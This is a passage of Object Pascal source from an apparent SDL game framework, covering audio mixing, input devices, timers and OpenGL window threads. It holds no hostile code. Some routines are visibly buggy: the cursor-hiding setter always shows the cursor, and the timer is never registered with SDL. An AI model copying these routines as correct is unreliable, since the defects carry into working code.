function MessageBox(Kind: TMessageType; const Prompt: string; Buttons: TMessageButtons): TModalResult;
begin
Result := MessageBox(Kind, MessageCaptions[Kind], Prompt, Buttons);
end;
function MessageBox(Kind: TMessageType; const Title, Prompt: string; Buttons: TMessageButtons): TModalResult;
const
RETURN = SDL_MESSAGEBOX_BUTTON_RETURNKEY_DEFAULT;
ESCAPE = SDL_MESSAGEBOX_BUTTON_ESCAPEKEY_DEFAULT;
ButtonFlags: array[TMessageButton] of Uint32 =
(RETURN, ESCAPE, RETURN, ESCAPE, 0, 0, 0, 0);
ButtonCaptions: array[TMessageButton] of PAnsiChar =
('Ok', 'Cancel', 'Yes', 'No', 'All', 'Abort', 'Retry', 'Ignore');
var
Data: TSDL_MessageBoxData;
ButtonList: TArrayList<TSDL_MessageBoxButtonData>;
ButtonData: TSDL_MessageBoxButtonData;
ButtonId: LongInt;
T, P: AnsiString;
B: TMessageButton;
begin
if Buttons = [] then
Exit(mrNone);
T := Title;
P := Prompt;
Data.flags := MessageFlags[Kind];
Data.window := nil;
Data.title := PAnsiChar(T);
Data.message := PAnsiChar(P);
for B := Low(TMessageButton) to High(TMessageButton)do
if B in Buttons then
begin
ButtonData.flags := ButtonFlags[B];
ButtonData.buttonid := Ord(B) + 1;
ButtonData.text := ButtonCaptions[B];
ButtonList.Add(ButtonData);
end;
Data.numbuttons := ButtonList.Count;
Data.buttons := PSDL_MessageBoxButtonData(ButtonList.Items);
Data.colorScheme := nil;
if SDL_ShowMessageBox(Data, ButtonId) = 0 then
Result := TModalResult(ButtonId)
else
Result := mrNone;
end;
const
DefaultQueueSize = 100;
constructor TMessageQueue.Create;
begin
inherited Create;
SetLength(FItems, DefaultQueueSize);
end;
procedure TMessageQueue.Add(var Message: TMessage);
begin
Lock;
try
{ Queue ignores adds when the count is over the maximum limit }
if FCount = DefaultQueueSize then
Exit;
FItems[FCount] := Message;
Inc(FCount);
finally
Unlock;
end;
end;
function TMessageQueue.Remove: TItems;
var
I: Integer;
begin
Lock;
try
SetLength(Result, FCount);
for I := 0 to FCount - 1 do
Result[I] := FItems[I];
FQueue := Result;
FCount := 0;
finally
Unlock;
end;
end;
function TMessageQueue.KeyDown(Key: TVirtualKeyCode): Boolean;
var
I: TMessage;
begin
for I in FQueue do
if (I.Msg = msgKeyDown) and (I.KeyboardArgs.Key = Key) then
Exit(True);
Result := False;
end;
function TMessageQueue.KeyUp(Key: TVirtualKeyCode): Boolean;
var
I: TMessage;
begin
for I in FQueue do
if (I.Msg = msgKeyUp) and (I.KeyboardArgs.Key = Key) then
Exit(True);
Result := False;
end;
function TMessageQueue.MouseDown(Button: TMouseButton): Boolean;
var
I: TMessage;
begin
for I in FQueue do
if (I.Msg = msgMouseButtonDown) and (I.MouseButtonArgs.Button = Button) then
Exit(True);
Result := False;
end;
function TMessageQueue.MouseDown(Button: TMouseButton; out X, Y: Integer; out Shift: TShiftState): Boolean;
var
I: TMessage;
begin
for I in FQueue do
if (I.Msg = msgMouseButtonDown) and (I.MouseButtonArgs.Button = Button) then
begin
X := I.MouseButtonArgs.X;
Y := I.MouseButtonArgs.Y;
Shift := I.MouseButtonArgs.Shift;
Exit(True);
end;
Result := False;
end;
function TMessageQueue.MouseUp(Button: TMouseButton): Boolean;
var
I: TMessage;
begin
for I in FQueue do
if (I.Msg = msgMouseButtonUp) and (I.MouseButtonArgs.Button = Button) then
Exit(True);
Result := False;
end;
function TMessageQueue.MouseUp(Button: TMouseButton; out X, Y: Integer; out Shift: TShiftState): Boolean;
var
I: TMessage;
begin
for I in FQueue do
if (I.Msg = msgMouseButtonUp) and (I.MouseButtonArgs.Button = Button) then
begin
X := I.MouseButtonArgs.X;
Y := I.MouseButtonArgs.Y;
Shift := I.MouseButtonArgs.Shift;
Exit(True);
end;
Result := False;
end;
constructor TStopwatch.Create(SyncTime: Double = 0);
begin
inherited Create;
Reset;
if SyncTime > 0.01 then
begin
FStart := SyncTime;
FStop := SyncTime;
end;
end;
procedure TStopwatch.Reset;
begin
FStart := Now;
FStop := FStop;
FTime := 0;
FInterval := 0;
FFrame := 0;
FSeconds := 0;
end;
function TStopwatch.Step: Double;
var
I: LargeWord;
begin
if FPaused then
Exit(FTime);
FTime := Now;
FInterval := FTime - FStop;
FStop := FTime;
FTime := FStop - FStart;
I := Trunc(FTime);
if I > FSeconds then
begin
FSeconds := I;
FFrameRate := FFrame;
FFrame := 0;
end;
Inc(FFrame);
Result := FTime;
end;
procedure TStopwatch.SetPaused(Value: Boolean);
var
Last: Double;
begin
if Value <> FPaused then
begin
FPaused := Value;
if Paused then
Step
else
begin
Last := FStop;
Step;
FStart := FStart + (FStop - Last);
FTime := FStop - FStart;
end;
end;
end;
constructor TTimer.Create;
begin
inherited Create;
if not FInitialized then
begin
FInitialized := True;
SDL_InitSubSystem(SDL_INIT_TIMER);
end;
FInterval := 1000;
end;
destructor TTimer.Destroy;
begin
Enabled := False;
inherited Destroy;
end;
procedure TTimer.DoExpired(var Args: TEmptyArgs);
begin
if Assigned(FOnExpired) then
FOnExpired(Self, Args);
end;
function TimerCallback(interval: Uint32; param: Pointer): Uint32; cdecl;
var
Timer: TTimer absolute param;
begin
if Timer.FEnabled then
begin
Timer.DoExpired(EmptyArgs);
{TODO: Determine why this is only invoke one time}
Result := Interval;
end
else
Result := 0;
end;
procedure TTimer.SetEnabled(Value: Boolean);
begin
if Value <> FEnabled then
begin
FEnabled := Value;
if FEnabled then
FTimer := TimerCallback(FInterval, Self)
else
begin
SDL_RemoveTimer(FTimer);
FTimer := 0;
end;
end;
end;
procedure TTimer.SetInterval(Value: LongWord);
begin
Enabled := False;
if Value < 1 then
Value := 1;
FInterval := Value;
end;
{ THardwareCollection<T> }
constructor THardwareCollection<T>.Create;
begin
inherited Create;
ScanHardware;
end;
procedure THardwareCollection<T>.ScanHardware;
var
I: Integer;
begin
for I := 0 to Items.Count - 1 do
Items[I].Free;
Items := nil;
end;
var
AudioLockCount: Integer;
procedure LockAudio;
begin
if AudioLockCount = 0 then
SDL_LockAudio;
Inc(AudioLockCount);
end;
procedure UnlockAudio;
begin
Dec(AudioLockCount);
if AudioLockCount = 0 then
SDL_UnlockAudio;
end;
function PositionToDuration(Value: LongWord): Double;
begin
case TAudio.AudioSpec.format and $FF of
$10: Value := Value shr 1;
$20: Value := Value shr 2;
end;
Result := Value / (TAudio.AudioSpec.freq * TAudio.AudioSpec.channels);
end;
function DurationToPosition(const Value: Double): LongWord;
begin
Result := Round(Value * TAudio.AudioSpec.freq * TAudio.AudioSpec.channels);
case TAudio.AudioSpec.format and $FF of
$10: Result := Result shl 1;
$20: Result := Result shl 2;
end;
end;
constructor TAudioSample.Create(Size: LongWord);
begin
inherited Create;
FSize := Size;
FData := GetMem(FSize);
end;
destructor TAudioSample.Destroy;
begin
FreeMem(FData);
inherited Destroy;
end;
function TAudioSample.Play: Integer;
var
Bank: TAudioBank;
Time: Double;
I, J: Integer;
begin
Time := 0;
I := -1;
J := -1;
LockAudio;
for Bank in Audio.Banks do
begin
Inc(I);
{ Skip banks which are locked }
if Bank.FLocked then
Continue;
{ This bank hasn't been used yet }
if (Bank.FSample = nil) or (Bank.FTime = 0) then
begin
J := I;
Break;
end;
{ Capture the time from the first unlocked bank }
if J < 0 then
begin
J := I;
Time := Bank.FTime;
end
{ This bank is the oldest so far }
else if Time < Bank.FTime then
begin
J := I;
Time := Bank.FTime;
end;
end;
if J > -1 then
Play(J);
UnlockAudio;
Result := J;
end;
procedure TAudioSample.Play(Bank: Integer);
var
B: TAudioBank;
begin
LockAudio;
B := Audio.Banks[Bank];
B.FSample := Self;
B.FPosition := 0;
B.FTime := Now + Duration;
B.FState := abPlaying;
UnlockAudio;
end;
function TAudioSample.PlayVolume(Volume: Byte): Integer;
var
I: Integer;
begin
LockAudio;
I := Play;
if I > -1 then
Audio.Banks[I].Volume := Volume;
UnlockAudio;
Result := I;
end;
procedure TAudioSample.PlayVolume(Volume: Byte; Bank: Integer);
begin
LockAudio;
Play(Bank);
Audio.Banks[Bank].Volume := Volume;
UnlockAudio;
end;
function TAudioSample.GetDuration: Double;
begin
Result := PositionToDuration(FSize);
end;
{ TAudioSamples }
function TAudioSamples.Add(Ops: PSDL_RWops): TAudioSample;
var
Wave: TSDL_AudioSpec;
Convert: TSDL_AudioCVT;
Buf: PUint8;
Len: Uint32;
begin
if Ops = nil then
Exit(nil);
if SDL_LoadWAV_RW(Ops, 1, Wave, Buf, Len) = nil then
Exit(nil);
SDL_BuildAudioCVT(Convert, Wave.format, Wave.channels, Wave.freq,
TAudio.AudioSpec.format, TAudio.AudioSpec.channels, TAudio.AudioSpec.freq);
Convert.buf := GetMem(Len * Convert.len_mult);
Move(Buf^, Convert.buf^, Len);
SDL_FreeWAV(Buf);
Convert.len := Len;
SDL_ConvertAudio(Convert);
Result := TAudioSample.Create(Convert.len_cvt);
Result.FData := Convert.buf;
Items.Add(Result);
end;
function TAudioSamples.Add(const FileName: string): TAudioSample;
var
S: AnsiString;
begin
S := FileName;
Result := Add(SDL_RWFromFile(PAnsiChar(S), 'rb'));
if Result <> nil then
Result.Name := FileName;
end;
function TAudioSamples.Add(Stream: TStream): TAudioSample;
var
M: TMemoryStream;
begin
if Stream is TMemoryStream then
begin
M := Stream as TMemoryStream;
Result := Add(SDL_RWFromMem(M.Memory, M.Size));
end
else
begin
M := TMemoryStream.Create(Stream.Size);
try
M.Copy(Stream, 0);
Result := Add(SDL_RWFromMem(M.Memory, M.Size));
finally
M.Free;
end;
end;
end;
procedure TAudioSamples.Remove(Sample: TAudioSample);
var
B: TAudioBank;
I: Integer;
begin
LockAudio;
for B in Audio.Banks do
if B.FSample = Sample then
begin
B.FSample := nil;
B.FLocked := False;
B.FPosition := 0;
B.FState := abStopped;
end;
UnlockAudio;
for I := 0 to Items.Count - 1 do
if Items[I] = Sample then
begin
Items.Delete(I);
Sample.Free;
Break;
end;
end;
function TAudioSamples.GetSample(const Name: string): TAudioSample;
var
S: TAudioSample;
begin
for S in Items do
if S.Name = Name then
Exit(S);
Result := nil;
end;
function TAudioSamples.GetSampleByIndex(Index: Integer): TAudioSample;
begin
Result := Items[Index];
end;
constructor TAudioBank.Create;
begin
inherited Create;
FVolume := $FF;
end;
procedure TAudioBank.Play;
begin
State := abPlaying;
end;
procedure TAudioBank.Stop;
begin
State := abStopped;
end;
procedure TAudioBank.Pause;
begin
State := abPaused;
end;
function TAudioBank.GetDuration: Double;
begin
if FSample = nil then
Result := 0
else
Result := FSample.Duration;
end;
function TAudioBank.GetDimension: Double;
begin
LockAudio;
Result := PositionToDuration(FPosition);
UnlockAudio;
end;
procedure TAudioBank.SetDimension(const Value: Double);
const
Tolerance = 0.001;
begin
LockAudio;
if Value < Tolerance then
FPosition := 0
else
FPosition := DurationToPosition(Value);
UnlockAudio;
end;
procedure TAudioBank.SetState(Value: TAudioBankState);
begin
LockAudio;
if Value <> FState then
begin
FState := Value;
if FState = abStopped then
FPosition := 0;
end;
UnlockAudio;
end;
procedure TAudioBank.SetVolume(Value: Byte);
begin
LockAudio;
FVolume := Value;
UnlockAudio;
end;
constructor TAudioBanks.Create;
var
I: Integer;
begin
inherited Create;
Items.Count := AudioBankCount;
for I := 0 to AudioBankCount - 1 do
Items[I] := TAudioBank.Create;
end;
function TAudioBanks.GetBank(Index: Integer): TAudioBank;
begin
Result := Items[Index];
end;
{ AudioMixer a callback which executes in a background thread. It is used by
the SDL audio system and feed samples to the SDL_MixAudio API
Remarks
This callback is private to the Bare.Game namespace }
procedure AudioMixer(userdata: Pointer; stream: PUInt8; len: LongInt); cdecl;
var
Audio: TAudio;
Bank: TAudioBank;
Sample: TAudioSample;
Amount: LongInt;
Cursor: PUint8;
V: Single;
B: Byte;
I: Integer;
begin
Audio := TAudio(userdata);
{ Fill the stream with silence }
FillChar(stream^, len, TAudio.AudioSpec.silence);
for I := 0 to Audio.Banks.Count - 1 do
begin
Bank := Audio.Banks[I];
Sample := Bank.Sample;
if Sample = nil then
Continue;
{ Don't mix banks which are paused or stopped }
if Bank.FState <> abPlaying then
Continue;
Amount := Sample.FSize - Bank.FPosition;
if Amount > len then
Amount := len;
Cursor := Sample.FData;
if Cursor = nil then
Continue;
{ Advance the cursor positiom }
Inc(Cursor, Bank.FPosition);
Inc(Bank.FPosition, Amount);
{ Stop or repeat banks when the cursor reaches the end of the sample }
if Bank.FPosition >= Sample.FSize then
begin
Bank.FPosition := 0;
if not Bank.FLooping then
Bank.FState := abStopped;
Continue;
end;
if Bank.FMuted then
Continue;
V := (Audio.FMasterVolume / $FF) * (Bank.FVolume / $FF) * SDL_MIX_MAXVOLUME;
B := Round(V);
if B > 0 then
SDL_MixAudio(stream, Cursor, Amount, B);
end;
end;
constructor TAudio.Create;
var
DesiredSpec: TSDL_AudioSpec;
begin
inherited Create;
FSamples := TAudioSamples.Create;
FBanks := TAudioBanks.Create;
FMasterVolume := $FF;
{ Initialize SDL audio }
DesiredSpec.format := AUDIO_S16;
DesiredSpec.channels := AUDIO_CHAN_STEREO;
{ FM Quality uses half the data and less CPU processing power }
DesiredSpec.freq := AUDIO_FREQ_FM_QAULITY;
DesiredSpec.samples := AUDIO_SAMPLE_MEDIUM;
DesiredSpec.callback := @AudioMixer;
DesiredSpec.userdata := Self;
SDL_OpenAudio(@DesiredSpec, @TAudio.AudioSpec);
SDL_PauseAudio(0);
end;
destructor TAudio.Destroy;
begin
FSamples.Free;
FBanks.Free;
inherited Destroy;
end;
function KeyModToShiftState(KeyMod: LongWord): TShiftState;
begin
Result := [];
if KMOD_CTRL and KeyMod <> 0 then
Include(Result, ssCtrl);
if KMOD_SHIFT and KeyMod <> 0 then
Include(Result, ssShift);
if KMOD_ALT and KeyMod <> 0 then
Include(Result, ssAlt);
end;
procedure TKeyboard.Scan;
begin
Lock;
try
FKeys := SDL_GetKeyboardState(@FCount);
finally
Unlock;
end;
end;
function TKeyboard.GetKey(Index: TVirtualKeyCode): Boolean;
var
ScanCode: LongWord;
Key: PUint8;
begin
if FKeys = nil then
Scan;
ScanCode := SDL_GetScancodeFromKey(LongWord(Index));
if ScanCode >= FCount then
Exit(False);
Key := FKeys;
Inc(Key, ScanCode);
Result := Key^ <> 0;
end;
function TKeyboard.GetShiftState: TShiftState;
begin
if FKeys = nil then
Scan;
Result := KeyModToShiftState(SDL_GetModState);
end;
procedure TMouse.Scan;
var
Button: TMouseButton;
B: Uint32;
begin
Lock;
try
FButtons := [];
B := SDL_GetMouseState(FX, FY);
for Button := Low(Button) to High(Button) do
if SDL_Button(Ord(Button) + 1) and B <> 0 then
Include(FButtons, Button);
finally
Unlock;
end;
end;
procedure TMouse.Move(X, Y: Integer);
begin
SDL_WarpMouseInWindow(nil, X, Y);
end;
function TMouse.GetCaptured: Boolean;
begin
Result := SDL_GetRelativeMouseMode;
end;
procedure TMouse.SetCaptured(Value: Boolean);
begin
SDL_SetRelativeMouseMode(Value);
end;
function TMouse.GetVisible: Boolean;
begin
Result := SDL_ShowCursor(-1) <> 0;
end;
procedure TMouse.SetVisible(Value: Boolean);
begin
if Value then
SDL_ShowCursor(1)
else
SDL_ShowCursor(1);
end;
constructor TJoystickPart<T>.Create(Joystick: PSDL_Joystick);
begin
inherited Create;
FJoystick := Joystick;
DoScan;
end;
function TJoystickPart<T>.GetEnumerator: TEnumerator;
begin
Result := TEnumerator.Create(FValues);
end;
procedure TJoystickPart<T>.Scan;
begin
if FJoystick = nil then
FValues := nil
else
begin
Lock;
try
DoScan;
finally
Unlock;
end;
end;
end;
function TJoystickPart<T>.GetCount: Integer;
begin
Result := FValues.Count;
end;
function TJoystickPart<T>.GetValue(Index: Integer): T;
begin
Result := FValues[Index];
end;
{ Scan retrieves the state of the analog sticks }
procedure TJoystickAxes.DoScan;
var
I: Integer;
begin
I := SDL_JoystickNumAxes(FJoystick);
if I < 1 then
begin
FValues := nil;
Exit;
end;
FValues.Count := I;
while I > 0 do
begin
Dec(I);
FValues[I] := SDL_JoystickGetAxis(FJoystick, I);
end;
end;
{ Scan retrieves the pressed state the buttons }
procedure TJoystickButtons.DoScan;
var
I: Integer;
begin
I := SDL_JoystickNumButtons(FJoystick);
if I < 1 then
begin
FValues := nil;
Exit;
end;
FValues.Count := I;
while I > 0 do
begin
Dec(I);
FValues[I] := SDL_JoystickGetButton(FJoystick, I) <> 0;
end;
end;
{ Scan retrieves the state the hats }
procedure TJoystickHats.DoScan;
var
I: Integer;
begin
I := SDL_JoystickNumHats(FJoystick);
if I < 1 then
begin
FValues := nil;
Exit;
end;
FValues.Count := I;
while I > 0 do
begin
Dec(I);
case SDL_JoystickGetHat(FJoystick, I) of
SDL_HAT_UP: FValues[I] := hatUp;
SDL_HAT_RIGHT: FValues[I] := hatRight;
SDL_HAT_DOWN: FValues[I] := hatDown;
SDL_HAT_LEFT: FValues[I] := hatLeft;
SDL_HAT_RIGHTUP: FValues[I] := hatRightUp;
SDL_HAT_RIGHTDOWN: FValues[I] := hatRightDown;
SDL_HAT_LEFTUP: FValues[I] := hatLeftUp;
SDL_HAT_LEFTDOWN: FValues[I] := hatLeftDown;
else
FValues[I] := hatCenter;
end;
end;
end;
{ Scan retrieves the pressed state the trackballs }
procedure TJoystickTrackballs.DoScan;
var
B: TJoystickTrackball;
I: Integer;
begin
I := SDL_JoystickNumBalls(FJoystick);
if I < 1 then
begin
FValues := nil;
Exit;
end;
FValues.Count := I;
while I > 0 do
begin
Dec(I);
SDL_JoystickGetBall(FJoystick, I, B.XDelta, B.YDelta);
FValues[I] := B;
end;
end;
constructor TJoystick.Create(Index: Integer);
begin
inherited Create;
FIndex := Index;
FJoystick := SDL_JoystickOpen(Index);
FAxes := TJoystickAxes.Create(FJoystick);
FButtons := TJoystickButtons.Create(FJoystick);
FHats := TJoystickHats.Create(FJoystick);
FTrackballs := TJoystickTrackballs.Create(FJoystick);
end;
destructor TJoystick.Destroy;
begin
FAxes.Free;
FButtons.Free;
FHats.Free;
FTrackballs.Free;
SDL_JoystickClose(FJoystick);
inherited Destroy;
end;
{ Scan retrieves the state of the joystick }
procedure TJoystick.Scan;
begin
Lock;
try
FAxes.Scan;
FButtons.Scan;
FHats.Scan;
FTrackballs.Scan;
finally
Unlock;
end;
end;
procedure TJoysticks.ScanHardware;
var
I: Integer;
begin
Lock;
try
inherited ScanHardware;
I := SDL_NumJoysticks;
if I < 1 then
Exit;
Items.Count := I;
for I := 0 to Items.Count - 1 do
Items[I] := TJoystick.Create(I);
finally
Unlock;
end;
end;
function TJoysticks.GetJoystick(Index: Integer): TJoystick;
begin
Result := Items[Index];
end;
constructor TScreen.Create(Index: Integer);
begin
inherited Create;
FIndex := Index;
end;
procedure TScreen.GetDisplayModes(out Modes: TDisplayModes);
var
List: TArrayList<TDisplayMode>;
Mode: TSDL_DisplayMode;
I: Integer;
begin
Modes := nil;
I := SDL_GetNumDisplayModes(FIndex);
if I < 1 then
Exit;
List.Count := I;
for I := 0 to List.Count - 1 do
begin
SDL_GetDisplayMode(FIndex, I, Mode);
List.Items[I].Width := Mode.w;
List.Items[I].Height := Mode.h;
List.Items[I].ColorDepth := SDL_BITSPERPIXEL(Mode.format);
List.Items[I].RefreshRate := Mode.refresh_rate;
end;
Modes := List.Items;
end;
procedure TScreen.GetBounds(out Rect: TRectI);
var
R: TSDL_Rect;
begin
if SDL_GetDisplayBounds(FIndex, R) = 0 then
Rect := TRectI.Create(R.x, R.y, R.w, R.h)
else
Rect := TRectI.Create;
end;
function TScreen.GetName: string;
begin
Result := SDL_GetDisplayName(FIndex);
end;
procedure TScreens.ScanHardware;
var
I: Integer;
begin
Lock;
try
inherited ScanHardware;
I := SDL_GetNumVideoDisplays;
if I < 1 then
Exit;
Items.Count := I;
for I := 0 to Items.Count - 1 do
Items[I] := TScreen.Create(I);
finally
Unlock;
end;
end;
function TScreens.GetDriverName: string;
begin
Result := SDL_GetCurrentVideoDriver;
end;
function TScreens.GetPrimary: TScreen;
begin
if Count > 0 then
Result := Items[0]
else
Result := nil;
end;
function TScreens.GetScreen(Index: Integer): TScreen;
begin
Result := Items[Index];
end;
type
TWindowThread = class(TThread)
private
FWindow: TWindow;
FStopwatch: TStopwatch;
public
constructor Create(Window: TWindow; const Time: Double);
destructor Destroy; override;
property Window: TWindow read FWindow;
property Stopwatch: TStopwatch read FStopwatch;
end;
TLogicThread = class(TWindowThread)
protected
function Execute: LongWord; override;
end;
TRenderThread = class(TWindowThread)
protected
function Execute: LongWord; override;
end;
constructor TWindowThread.Create(Window: TWindow; const Time: Double);
begin
FWindow := Window;
FStopwatch := TStopwatch.Create(Time);
inherited Create;
end;
destructor TWindowThread.Destroy;
begin
inherited Destroy;
FStopwatch.Free;
end;
function TLogicThread.Execute: LongWord;
const
MinInterval = 1 / 120;
begin
Window.LogicInitialize;
while not Terminated do
begin
ScanInput;
Window.Logic(Stopwatch);
Stopwatch.Step;
{ Limit logic updates to 120 per second }
if Stopwatch.Interval < MinInterval then
Sleep(Round((MinInterval - Stopwatch.Interval) * 1000));
end;
Window.LogicFinalize;
Result := 0;
end;
function TRenderThread.Execute: LongWord;
begin
Window.FContext := SDL_GL_CreateContext(Window.FWindow);
SDL_GL_MakeCurrent(FWindow, FWindow.FContext);
SDL_GL_SetSwapInterval(FWindow.FCreateParams.Attributes.VerticalSync);
Window.RenderInitialize;
while not Terminated do
begin
Window.Render(Stopwatch);
Window.SwapBuffers;
Stopwatch.Step;
end;
Window.RenderFinalize;
SDL_GL_DeleteContext(Window.FContext);
Window.FContext := nil;
Result := 0;
end;
constructor TWindow.Create;
procedure DefaultWindowParams(out Params: TCreateParams);
const
DefaultWidth = 640;
DefaultHeight = 480;
DefaultAttributes: TAttributes = (
StencilBits: 0;
DepthBits: 16;
MultiSamples: 0;
VerticalSync: 1;
HardwareAcceleration: 1;
Stereo: 0;
MajorVersion: 0;
MinorVersion: 0;
);
DefaultStyle = [wsBorder, wsVisible];
DefaultMultithreaded = False;
var
Mode: TSDL_DisplayMode;
begin
SDL_GetDesktopDisplayMode(0, Mode);
Params.Caption := ClassName;
Params.X := WindowPosCentered;
Params.Y := WindowPosCentered;
Params.Width := DefaultWidth;
Params.Height := DefaultHeight;
Params.DisplayMode.Width := Mode.w;
Params.DisplayMode.Height := Mode.h;
Params.DisplayMode.ColorDepth := SDL_BITSPERPIXEL(Mode.format);
Params.DisplayMode.RefreshRate := Mode.refresh_rate;
Params.Style := DefaultStyle;
Params.Attributes := DefaultAttributes;
Params.Multithreaded := DefaultMultithreaded;
end;
begin
inherited Create;
FMessageQueue := TMessageQueue.Create;
DefaultWindowParams(FCreateParams);
CreateParams(FCreateParams);
CreateWindow(FCreateParams);
FMultithreaded := FCreateParams.Multithreaded;
end;
destructor TWindow.Destroy;
begin
if FContext <> nil then
SDL_GL_DeleteContext(FContext);
SDL_DestroyWindow(FWindow);
FMessageQueue.Free;
inherited Destroy;
end;
procedure TWindow.CreateParams(var Params: TCreateParams);
begin
end;
procedure TWindow.CreateWindow(var Params: TCreateParams);
const
{ For sanity we always use 8 bits for every channel in RGBA (4x8 = 32 bits) }
ChannelBits = 8;
Border: array[Boolean] of Uint32 = (SDL_WINDOW_BORDERLESS, 0);
Resizeable: array[Boolean] of Uint32 = (0, SDL_WINDOW_RESIZABLE);
Visible: array[Boolean] of Uint32 = (SDL_WINDOW_HIDDEN, SDL_WINDOW_SHOWN);
var
Style: Uint32;
Mode: TSDL_DisplayMode;
S: AnsiString;
begin
{ Attributes must be set before the window is created }
{ See: http://wiki.libsdl.org/moin.fcg/SDL_GL_SetAttribute#Remarks }
SDL_GL_SetAttribute(SDL_GL_RED_SIZE, ChannelBits);
SDL_GL_SetAttribute(SDL_GL_GREEN_SIZE, ChannelBits);
SDL_GL_SetAttribute(SDL_GL_BLUE_SIZE, ChannelBits);
SDL_GL_SetAttribute(SDL_GL_ALPHA_SIZE, ChannelBits);
SDL_GL_SetAttribute(SDL_GL_STENCIL_SIZE, Params.Attributes.StencilBits);
SDL_GL_SetAttribute(SDL_GL_DEPTH_SIZE, Params.Attributes.DepthBits);
SDL_GL_SetAttribute(SDL_GL_STEREO, Params.Attributes.Stereo);
if Params.Attributes.MultiSamples > 0 then
begin
SDL_GL_SetAttribute(SDL_GL_MULTISAMPLEBUFFERS, 1);
SDL_GL_SetAttribute(SDL_GL_MULTISAMPLESAMPLES, Params.Attributes.MultiSamples);
end
else
begin
SDL_GL_SetAttribute(SDL_GL_MULTISAMPLEBUFFERS, 0);
SDL_GL_SetAttribute(SDL_GL_MULTISAMPLESAMPLES, 0);
end;
SDL_GL_SetAttribute(SDL_GL_ACCELERATED_VISUAL, Params.Attributes.HardwareAcceleration);
SDL_GL_SetAttribute(SDL_GL_CONTEXT_MAJOR_VERSION, Params.Attributes.MajorVersion);
SDL_GL_SetAttribute(SDL_GL_CONTEXT_MINOR_VERSION, Params.Attributes.MinorVersion);
S := Params.Caption;
Style := SDL_WINDOW_OPENGL;
Style := Style or Border[wsBorder in Params.Style];
{TODO: Allow for full screen on monidtors other than the primary}
SDL_GetCurrentDisplayMode(0, Mode);
Mode.w := Params.Width;
Mode.h := Params.Height;
if wsFulldesktop in Params.Style then
begin
Style := Style or SDL_WINDOW_FULLSCREEN_DESKTOP;
Params.Style := Params.Style - [wsFullscreen, wsMaximized];
FFullscreen := True;
end
else if wsFullscreen in Params.Style then
begin
{TODO: Determine why SDL_SetWindowDisplayMode does not work}
Style := Style or SDL_WINDOW_FULLSCREEN;
Mode.w := Params.DisplayMode.Width;
Mode.h := Params.DisplayMode.Height;
Params.Style := Params.Style - [wsMaximized];
FFullscreen := True;
end
else if wsMaximized in Params.Style then
Style := Style or SDL_WINDOW_MAXIMIZED;
Style := Style or Resizeable[wsResizeable in Params.Style];
FVisible := wsVisible in Params.Style;
Style := Style or Visible[FVisible];
SDL_ClearError;
FWindow := SDL_CreateWindow(PAnsiChar(S), Params.X, Params.Y, Mode.w, Mode.h, Style);
if FWindow = nil then
begin
{TODO: Determine why on some systems asking for multisampling causes
SDL_CreateWindow to fail}
SDL_GL_SetAttribute(SDL_GL_MULTISAMPLEBUFFERS, 0);
SDL_GL_SetAttribute(SDL_GL_MULTISAMPLESAMPLES, 0);
SDL_ClearError;
FWindow := SDL_CreateWindow(PAnsiChar(S), Params.X, Params.Y, Mode.w, Mode.h, Style);
if FWindow = nil then
raise ESDLError.CreateFunc('SDL_CreateWindow');
end;
SDL_SetWindowData(FWindow, WindowInstance, Self);
end;
procedure TWindow.CreateLoop(Stopwatch: TStopwatch);
begin
FMultithreaded := Multithreaded;
if FMultithreaded then
begin
FLogicThread := TLogicThread.Create(Self, Stopwatch.Time);
FRenderThread := TRenderThread.Create(Self, Stopwatch.Time);
end
else
begin
LogicInitialize;
FContext := SDL_GL_CreateContext(FWindow);
SDL_GL_MakeCurrent(FWindow, FContext);
SDL_GL_SetSwapInterval(FCreateParams.Attributes.VerticalSync);
RenderInitialize;
end;
end;
procedure TWindow.DestroyLoop;
begin
if not FMultithreaded then
begin
RenderFinalize;
LogicFinalize;
end;
end;
procedure TWindow.RunLoop(Stopwatch: TStopwatch);
begin
if not FMultithreaded then
begin
ScanInput;
Logic(Stopwatch);
Render(Stopwatch);
SwapBuffers;
end;
end;
procedure TWindow.Close;
begin
DoClose(EmptyArgs);
end;
procedure TWindow.LogicInitialize;
begin
end;
procedure TWindow.Logic(Stopwatch: TStopwatch);
begin
MessageQueue.Remove;
end;
procedure TWindow.LogicFinalize;
begin
end;
procedure TWindow.RenderInitialize;
begin
end;
procedure TWindow.Render(Stopwatch: TStopwatch);
begin
end;
procedure TWindow.RenderFinalize;
begin
end;
procedure TWindow.SwapBuffers;
begin
SDL_GL_SwapWindow(FWindow);
end;
procedure TWindow.DispatchMessage(var Message: TMessage);
begin
MessageQueue.Add(Message);
case Message.Msg of
SDL_WINDOWEVENT_SHOWN:
begin
FVisible := True;
DoShow(Message.EmptyArgs);
end;
SDL_WINDOWEVENT_HIDDEN:
begin
FVisible := False;
DoHide(Message.EmptyArgs);
end;
SDL_WINDOWEVENT_CLOSE:
if not FClosed then
DoClose(Message.EmptyArgs);
SDL_WINDOWEVENT_FOCUS_GAINED,SDL_WINDOWEVENT_FOCUS_LOST:
DoFocus(Message.FocusArgs);
SDL_WINDOWEVENT_MOVED: DoMove(Message.MoveResizeArgs);
SDL_WINDOWEVENT_RESIZED: DoResize(Message.MoveResizeArgs);
SDL_WINDOWEVENT_SIZE_CHANGED: DoSizeChanged(Message.EmptyArgs);
SDL_QUIT_EVENT:
if not FClosed then
DoClose(Message.EmptyArgs);
SDL_KEYDOWN: DoKeyDown(Message.KeyboardArgs);
SDL_KEYUP: DoKeyUp(Message.KeyboardArgs);
SDL_MOUSEMOTION: DoMouseMove(Message.MouseMoveArgs);
SDL_MOUSEBUTTONDOWN: DoMouseDown(Message.MouseButtonArgs);
SDL_MOUSEBUTTONUP: DoMouseUp(Message.MouseButtonArgs);
SDL_MOUSEWHEEL: DoMouseWheel(Message.MouseWheelArgs);
SDL_WINDOWEVENT_ENTER: DoMouseEnter(Message.EmptyArgs);
SDL_WINDOWEVENT_LEAVE: DoMouseLeave(Message.EmptyArgs);
SDL_JOYAXISMOTION: DoJoystickAxis(Message.JoystickAxisArgs);
SDL_JOYBALLMOTION: DoJoystickBall(Message.JoystickBallArgs);
SDL_JOYHATMOTION: DoJoystickHat(Message.JoystickHatArgs);
SDL_JOYBUTTONDOWN: DoJoystickButtonDown(Message.JoystickButtonArgs);
SDL_JOYBUTTONUP: DoJoystickButtonUp(Message.JoystickButtonArgs);
SDL_JOYDEVICEADDED: DoJoystickAdded(Message.JoystickDeviceArgs);
SDL_JOYDEVICEREMOVED: DoJoystickRemoved(Message.JoystickDeviceArgs);
end;
